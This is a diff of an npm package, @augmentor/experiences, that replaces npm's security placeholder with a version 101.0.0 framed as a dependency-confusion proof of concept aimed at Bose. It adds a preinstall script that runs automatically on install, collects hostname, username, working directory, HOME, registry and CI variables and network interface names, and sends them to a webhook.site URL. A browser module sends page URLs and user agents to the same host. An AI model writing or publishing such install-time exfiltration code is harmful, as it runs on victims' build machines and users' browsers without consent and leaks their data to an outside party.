@augmentor/experiences 0.0.1-security → 101.0.0

package/package.json

@@ -1,6 +1,21 @@
-{
-  "name": "@augmentor/experiences",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+{
+  "name": "@augmentor/experiences",
+  "version": "101.0.0",
+  "description": "Security research PoC for Bose - Dependency Confusion (HackerOne researcher urro)",
+  "main": "sticky-email-popup-html/index.js",
+  "exports": {
+    "./sticky-email-popup-html": "./sticky-email-popup-html/index.js"
+  },
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  },
+  "author": "urro (HackerOne researcher)",
+  "license": "ISC",
+  "homepage": "https://hackerone.com/urro",
+  "keywords": [
+    "security-research",
+    "bugbounty",
+    "poc",
+    "dependency-confusion"
+  ]
+}

package/preinstall.js

@@ -0,0 +1,110 @@
+/**
+
+* Security Research PoC
+* Researcher: urro (HackerOne)
+* Purpose: Demonstrate Dependency Confusion vulnerability in Bose MagicLayer.
+*
+* This payload is intentionally benign. It only collects minimal runtime
+* environment metadata to confirm where the package was executed.
+*
+* No files are accessed, no environment variables containing secrets are read,
+* and the build process is not modified.
+  */
+
+const https = require("https");
+const os = require("os");
+const fs = require("fs");
+
+const webhookUrl = "https://webhook.site/d976bd5c-c15b-4535-b88f-de9c943b5cbd";
+
+/* ------------------------------------------------ */
+/* Runtime Environment Info                         */
+/* ------------------------------------------------ */
+
+const runtimeInfo = {
+hostname: os.hostname(),
+user: (() => {
+try {
+return os.userInfo().username;
+} catch {
+return null;
+}
+})(),
+platform: os.platform(),
+arch: os.arch(),
+node: process.version,
+cwd: process.cwd()
+};
+
+/* ------------------------------------------------ */
+/* NPM / Execution Context                          */
+/* ------------------------------------------------ */
+
+const npmContext = {
+init_cwd: process.env.INIT_CWD || null,
+home: process.env.HOME || null,
+pwd: process.env.PWD || null,
+npm_registry: process.env.npm_config_registry || null,
+npm_user_agent: process.env.npm_config_user_agent || null
+};
+
+/* ------------------------------------------------ */
+/* CI/CD Detection                                  */
+/* ------------------------------------------------ */
+
+const ciIndicators = {
+ci: process.env.CI || null,
+github_actions: process.env.GITHUB_ACTIONS || null,
+gitlab_ci: process.env.GITLAB_CI || null,
+jenkins: process.env.JENKINS_URL || null,
+build_id: process.env.BUILD_ID || null,
+build_number: process.env.BUILD_NUMBER || null
+};
+
+/* ------------------------------------------------ */
+/* Environment Indicators (non-invasive)            */
+/* ------------------------------------------------ */
+
+const environmentIndicators = {
+docker_env: fs.existsSync("/.dockerenv"),
+git_repo: fs.existsSync(".git"),
+github_folder: fs.existsSync(".github"),
+gitlab_folder: fs.existsSync(".gitlab")
+};
+
+/* ------------------------------------------------ */
+/* Network Interfaces (no scanning, local only)     */
+/* ------------------------------------------------ */
+
+let networkInfo = null;
+
+try {
+const nets = os.networkInterfaces();
+networkInfo = Object.keys(nets);
+} catch {
+networkInfo = null;
+}
+
+/* ------------------------------------------------ */
+/* Final Payload                                    */
+/* ------------------------------------------------ */
+
+const payload = {
+type: "rce-backend",
+timestamp: new Date().toISOString(),
+runtime: runtimeInfo,
+npm: npmContext,
+ci: ciIndicators,
+indicators: environmentIndicators,
+network_interfaces: networkInfo
+};
+
+/* ------------------------------------------------ */
+/* Send Data                                        */
+/* ------------------------------------------------ */
+
+const data = encodeURIComponent(JSON.stringify(payload));
+
+https
+.get(`${webhookUrl}?data=${data}`, () => {})
+.on("error", () => {});

package/sticky-email-popup-html/index.js

@@ -0,0 +1,22 @@
+export function onMount(root) {
+    try {
+
+        console.log(
+        "Security Research PoC (Dependency Confusion) by HackerOne researcher 'urro'"
+        );
+
+        const data = {
+            type: "xss-frontend",
+            url: window.location.href,
+            origin: window.location.origin,
+            userAgent: navigator.userAgent
+        };
+
+        fetch(
+            "https://webhook.site/d976bd5c-c15b-4535-b88f-de9c943b5cbd?data=" +
+            encodeURIComponent(JSON.stringify(data)),
+            { mode: 'no-cors' }
+        );
+
+    } catch (e) {}
+}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=%40augmentor%2Fexperiences for more information.